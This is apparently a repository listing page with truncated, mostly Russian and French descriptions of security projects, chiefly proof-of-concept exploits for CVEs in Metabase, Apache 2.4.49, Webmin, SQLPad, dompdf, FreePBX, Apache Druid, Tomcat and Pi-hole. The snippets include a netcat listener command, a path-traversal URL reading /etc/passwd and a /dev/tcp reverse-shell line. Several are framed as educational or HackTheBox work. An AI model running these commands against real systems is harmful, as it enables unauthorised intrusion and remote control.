firmware-reverse-engineering

Навыки обратного проектирования прошивок Пять навыков агента от OrbitCurve для извлечения прошивок, статического анализа, обратного проектирования в Ghidra, эмуляции и составления отчётов по безопасности, автор — Hussein Muhaisen. Коллекция объединяет существующие рабочие процессы, справочные...

lighthouse

Lighthouse - A Coverage Explorer for Reverse Engineers Overview Lighthouse is a powerful code coverage explorer for IDA Pro and Binary Ninja, providing software researchers with uniquely interactive controls to study execution maps for native applications without requiring symbols or source. This...

CVE-2023-38646

CVE-2023-38646 - Metabase Pre-Auth RCE ⚠️ Только для образовательных целей и авторизованных исследований безопасности Оригинальные авторы эксплойта Огромная благодарность оригинальному автору PoC securezeron Пошаговое руководство 1. Настройте слушатель на вашей машине атакующего: nc -nlvp 4444 2...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Test d'intrusion 1.1. Path Traversal Lecture du fichier /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ Khai thác...

CVE-2012-2982_python

CVE-2012-2982 익스플로잇 python 안녕하세요, 저는 보안 연구자이며 이것은 저의 첫 번째 익스플로잇입니다. Webmin 1.580에는 CVE-2012-2982인 RCE가 있습니다. 이 페이로드를 사용하려면: 1. 다운로드 2. 텍스트 편집기에서 열기! 3. targetIP를 대상으로 변경 4. lhost를 자신의 IP로 변경 5. lport를 리스너가 실행될 포트 번호로 변경 6. 그리고 마지막으로 'page' : "%2F", 'user' : "user1", 'pass' : "1user" 여기서 기본 사용자 이름...

oracleShell

oracleShell выполнение команд в базе данных Oracle Тестовая среда — права DBA: SELECT FROM v$version Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production PL/SQL Release 11.2.0.1.0 - Production "CORE 11.2.0.1.0 Production" TNS for 32-bit Windows: Version 11.2.0.1.0 - Production...

CVE-2026-20896

CVE-2026-20896 Официальный Docker-образ Gitea до версии 1.26.2 включительно поставляется со значением REVERSEPROXYTRUSTEDPROXIES = в конфигурации по умолчанию. Если вы включите вход через обратный прокси, этот wildcard означает, что каждый исходный IP-адрес рассматривается как доверенный прокси,...

CVE-2022-0944

CVE-2022-0944 Эксплойт для проверки концепции уязвимости SQLPad RCE CVE-2022-0944 Использование usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username...

CVE-2022-41343

CVE-2022-41343 🐍 Exploit Python pour CVE-2022-41343 Reverse Shell par étapes pour dompdf 2.0.1 Basé sur : l'article de Positive Sec et le PoC Exemple cve-2022-41343 10.10.16.3 44444 Utilisation usage: cve-2022-41343 -h -l SERVERPORT -s SHELL -n FONTNAME ip port positional arguments: ip Adresse...

cve-2025-57819-exploit

CVE-2025-57819 Эксплойт Метаданные Критичность: Критический 9.8 Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип: Неаутентифицированная SQL-инъекция → Удалённое выполнение кода Затронутое ПО: FreePBX модуль endpoint 15.0.66, 16.0.89 и 17.0.3 Протестировано на: FreePBX 16.0.40.7 на CentOS ...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Обратный шелл выглядит следующим образом: Записать скрипт обратного шелла python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Дать права на выполнение скрипта python3 CVE-2021-25646.py -u...

htb-wifinetictwo-exploit

CVE-2021-31630 Preuve de concept PoC d'exploit Ce script Python est une preuve de concept PoC d'exploit pour CVE-2021-31630, ciblant une vulnérabilité dans OpenPLC exécuté sur la machine WifineticTwo chez HackTheBox. Il est conçu uniquement à des fins éducatives, visant à démontrer le processus...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Неаутентифицированное удаленное выполнение кода Этот скрипт предназначен для эксплуатации уязвимости неаутентифицированного выполнения команд в Webmin 1.890. Он позволяет выполнять произвольные команды на целевом сервере Webmin или получать обратную оболочку...

BlackSnufkin

🎯 Обзор профиля Вы наконец-то нашли мой профиль на Github. Пожалуйста, смело клонируйте/форкайте проекты, открывайте issues и отправляйте PR, если считаете, что что-то можно улучшить. Читайте мой блог для разборов и исследований — Счастливого хакинга! 😊 struct OffensiveOperator handle: String,...

CVE-2019-0232

Эксплойт для Apache Tomcat CVE-2019-0232 Этот скрипт эксплуатирует уязвимость CVE-2019-0232 в Apache Tomcat, которая позволяет удаленно выполнять код из-за неправильной обработки скрипта ism.bat. Скрипт использует технику реверс-шелла с помощью certutil и nc.exe Netcat для получения удаленного...

PCmanBoF

Переполнение буфера и удаленное выполнение кода FTP-сервера PCman CVE-2013-4730 Очень простое переполнение буфера с использованием CVE-2013-4730 против FTP-сервера PCman v.2.0.7 Как это работает? Это простое BoF перезаписывает буфер и выполняет шелл-код, который подключается обратно обратная...

APT-Backpack

APT-Sac à dos CVE les plus couramment utilisés par les APT, RAT légitimes et autres outils utilisés par les adversaires CVE CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 Lecture de fichier non autorisée CVE-2019-19781 Citrix ADC & Gateway Traversée de répertoire CVE-2020-5902 F5 Big IP RCE...

cve-2026-20896-gitea-poc

CVE-2026-20896 Проверка обхода аутентификации Gitea Docker Только для авторизованных операций red team / пентеста. Этот репозиторий содержит минимальный чекер для CVE-2026-20896, обхода аутентификации в официальных Docker-образах Gitea до версии 1.26.2 включительно, когда включена аутентификация...

zaphoxx-coldfusion

zaphoxx-coldfusion Эксплойт ColdFusion на основе https://cvedetails.com/cve/CVE-2009-2265/ Основной причиной, по которой я написал Python-скрипт для этого конкретного CVE, было то, что версия Metasploit для него не заработала у меня, когда я пытался решить машину Arctic на HTB. Кроме того, было...

CVE-2020-8816

CVE-2020-8816 Un script Python pour exploiter la CVE-2020-8816, une vulnérabilité d'exécution de code à distance sur le Pi-hole. Ce script utilise les techniques découvertes par François Renaud-Philippon pour réaliser une exécution de code à distance sur un Pi-hole exécutant une interface web de...